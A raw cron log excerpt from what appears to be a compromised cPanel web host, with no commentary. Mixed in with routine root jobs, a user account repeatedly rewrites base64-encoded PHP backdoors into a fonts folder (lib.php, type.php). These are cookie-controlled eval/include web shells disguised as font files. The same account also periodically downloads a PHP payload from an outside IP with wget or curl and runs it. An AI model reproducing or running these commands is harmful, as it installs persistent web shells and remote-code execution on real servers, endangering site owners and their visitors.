Feb 22 07:26:01 ip-184-168-122-23 CROND[32102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:26:01 ip-184-168-122-23 CROND[32101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:26:01 ip-184-168-122-23 CROND[32104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:26:01 ip-184-168-122-23 CROND[32103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:27:01 ip-184-168-122-23 CROND[32416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:27:01 ip-184-168-122-23 CROND[32417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:27:01 ip-184-168-122-23 CROND[32418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:27:01 ip-184-168-122-23 CROND[32421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:28:01 ip-184-168-122-23 CROND[345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:28:01 ip-184-168-122-23 CROND[348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:28:01 ip-184-168-122-23 CROND[350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:28:01 ip-184-168-122-23 CROND[347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:28:01 ip-184-168-122-23 CROND[349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:29:01 ip-184-168-122-23 CROND[649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:29:01 ip-184-168-122-23 CROND[650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:29:01 ip-184-168-122-23 CROND[652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:29:01 ip-184-168-122-23 CROND[655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:30:01 ip-184-168-122-23 CROND[998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:30:01 ip-184-168-122-23 CROND[999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 07:30:02 ip-184-168-122-23 CROND[1005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:30:02 ip-184-168-122-23 CROND[1006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:30:02 ip-184-168-122-23 CROND[1007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:30:02 ip-184-168-122-23 CROND[1003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:30:02 ip-184-168-122-23 CROND[1004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:30:02 ip-184-168-122-23 CROND[1008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:31:01 ip-184-168-122-23 CROND[1342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:31:01 ip-184-168-122-23 CROND[1344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:31:01 ip-184-168-122-23 CROND[1345]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 07:31:01 ip-184-168-122-23 CROND[1347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:31:01 ip-184-168-122-23 CROND[1348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:32:01 ip-184-168-122-23 CROND[1675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:32:01 ip-184-168-122-23 CROND[1677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:32:01 ip-184-168-122-23 CROND[1679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:32:01 ip-184-168-122-23 CROND[1680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:32:01 ip-184-168-122-23 CROND[1678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:33:01 ip-184-168-122-23 CROND[2044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:33:01 ip-184-168-122-23 CROND[2045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:33:01 ip-184-168-122-23 CROND[2048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:33:01 ip-184-168-122-23 CROND[2047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:34:01 ip-184-168-122-23 CROND[2445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:34:01 ip-184-168-122-23 CROND[2448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:34:01 ip-184-168-122-23 CROND[2446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:34:01 ip-184-168-122-23 CROND[2449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:34:01 ip-184-168-122-23 CROND[2450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:35:01 ip-184-168-122-23 CROND[2778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:35:01 ip-184-168-122-23 CROND[2780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:35:01 ip-184-168-122-23 CROND[2779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:35:01 ip-184-168-122-23 CROND[2781]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 07:35:01 ip-184-168-122-23 CROND[2785]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 07:35:01 ip-184-168-122-23 CROND[2787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:35:01 ip-184-168-122-23 CROND[2788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:35:01 ip-184-168-122-23 CROND[2789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:36:01 ip-184-168-122-23 CROND[3159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:36:01 ip-184-168-122-23 CROND[3161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:36:01 ip-184-168-122-23 CROND[3163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:36:01 ip-184-168-122-23 CROND[3162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:36:01 ip-184-168-122-23 CROND[3164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:37:01 ip-184-168-122-23 CROND[3498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:37:01 ip-184-168-122-23 CROND[3497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:37:01 ip-184-168-122-23 CROND[3500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:37:01 ip-184-168-122-23 CROND[3499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:38:01 ip-184-168-122-23 CROND[3837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:38:01 ip-184-168-122-23 CROND[3839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
